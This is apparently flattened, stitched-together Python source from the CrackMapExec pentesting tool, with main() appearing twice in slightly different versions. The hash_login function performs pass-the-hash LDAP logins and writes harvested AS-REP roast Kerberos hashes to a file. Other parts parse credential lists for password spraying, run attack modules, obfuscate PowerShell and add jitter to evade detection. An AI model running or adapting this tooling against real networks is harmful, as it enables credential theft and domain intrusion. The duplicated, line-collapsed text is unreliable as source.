def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain if self.kdcHost is not None: target = self.kdcHost else: target = domain self.kdcHost = domain # Create the baseDN self.baseDN = '' domainParts = self.kdcHost.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.hash == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False # Connect to LDAP try: self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() out = u'{}{}:{} {}'.format('{}\\'.format(domain), username, nthash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "389" self.logger.success(out) add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: try: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) except ldap_impacket.LDAPSessionError as e: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if errorCode in ldap_error_status else 'red') else: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if errorCode in ldap_error_status else 'red') return False except OSError as e: self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.nthash, "Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller")) return False
def gen_cli_args(): VERSION = '4.0.1dev' CODENAME = 'Bug Pr0n' p_loader = protocol_loader() protocols = p_loader.get_protocols() parser = argparse.ArgumentParser(description=""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| A swiss army knife for pentesting networks Forged by @byt3bl33d3r using the powah of dank memes {}: {} {}: {} """.format(highlight('Version', 'red'), highlight(VERSION), highlight('Codename', 'red'), highlight(CODENAME)), formatter_class=RawTextHelpFormatter, version='{} - {}'.format(VERSION, CODENAME), epilog="Ya feelin' a bit buggy all of a sudden?") parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)") parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)') parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)') parser.add_argument("--darrell", action='store_true', help='give Darrell a hand') parser.add_argument("--verbose", action='store_true', help="enable verbose output") subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols') std_parser = argparse.ArgumentParser(add_help=False) std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication') std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") fail_group = std_parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username') fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host') module_parser = argparse.ArgumentParser(add_help=False) mgroup = module_parser.add_mutually_exclusive_group() mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use') #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options') module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules') module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options') module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)') module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port') for protocol in protocols.keys(): protocol_object = p_loader.load_protocol(protocols[protocol]['path']) subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args
def main(): setup_logger() logger = CMEAdapter() first_run_setup(logger) args = gen_cli_args() if args.darrell: links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrell.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) except: sys.exit(1) cme_path = os.path.expanduser('~/.cme') config = ConfigParser() config.read(os.path.join(cme_path, 'cme.conf')) module = None module_server = None targets = [] jitter = None server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = config.get('CME', 'workspace') if args.verbose: setup_debug_logger() logging.debug('Passed args:\n' + pformat(vars(args))) if args.jitter: if '-' in args.jitter: start, end = args.jitter.split('-') jitter = (int(start), int(end)) else: jitter = (0, int(args.jitter)) if hasattr(args, 'username') and args.username: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) if hasattr(args, 'password') and args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error('Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if os.path.exists(target): with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky if hasattr(args, 'clear_obfscripts') and args.clear_obfscripts: shutil.rmtree(os.path.expanduser('~/.cme/obfuscated_scripts/')) os.mkdir(os.path.expanduser('~/.cme/obfuscated_scripts/')) logger.success('Cleared cached obfuscated PowerShell scripts') if hasattr(args, 'obfs') and args.obfs: powershell.obfuscate_ps_scripts = True p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for name, props in sorted(modules.items()): logger.info('{:<25} {}'.format(name, props['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): logger.info('{} module options:\n{}'.format(name, props['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): module = loader.init_module(props['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = raw_input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = raw_input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr(module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = server_port_dict[args.server] context = Context(db, logger, args) module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: ''' Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) jobs = [] for target in targets: jobs.append(pool.spawn(protocol_object, args, db, str(target))) if jitter: value = random.choice(range(jitter[0], jitter[1])) logging.debug("Doin' the Jitterbug for {} seconds".format(value)) sleep(value) for job in jobs: job.join(timeout=args.timeout) except KeyboardInterrupt: pass if module_server: module_server.shutdown()
def main(): setup_logger() logger = CMEAdapter() first_run_setup(logger) args = gen_cli_args() if args.darrell: links = open( os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrell.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) except: sys.exit(1) cme_path = os.path.expanduser('~/.cme') config = ConfigParser() config.read(os.path.join(cme_path, 'cme.conf')) module = None module_server = None targets = [] jitter = None server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = config.get('CME', 'workspace') if args.verbose: setup_debug_logger() logging.debug('Passed args:\n' + pformat(vars(args))) if args.jitter: if '-' in args.jitter: start, end = args.jitter.split('-') jitter = (int(start), int(end)) else: jitter = (0, int(args.jitter)) if hasattr(args, 'username') and args.username: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) if hasattr(args, 'password') and args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if os.path.exists(target): with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for m in modules: logger.info('{:<25} {}'.format(m, modules[m]['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for m in modules.keys(): if args.module.lower() == m.lower(): logger.info('{} module options:\n{}'.format( m, modules[m]['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for m in modules.keys(): if args.module.lower() == m.lower(): module = loader.init_module(modules[m]['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = raw_input( highlight( '[!] Module is not opsec safe, are you sure you want to run this? [Y/n]', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = raw_input( highlight( "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n]", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr( module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = server_port_dict[args.server] context = Context(db, logger, args) module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: ''' Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) jobs = [] for target in targets: jobs.append(pool.spawn(protocol_object, args, db, str(target))) if jitter: value = random.choice(range(jitter[0], jitter[1])) logging.debug( "Doin' the Jitterbug for {} seconds".format(value)) sleep(value) for job in jobs: job.join(timeout=args.timeout) except KeyboardInterrupt: pass if module_server: module_server.shutdown()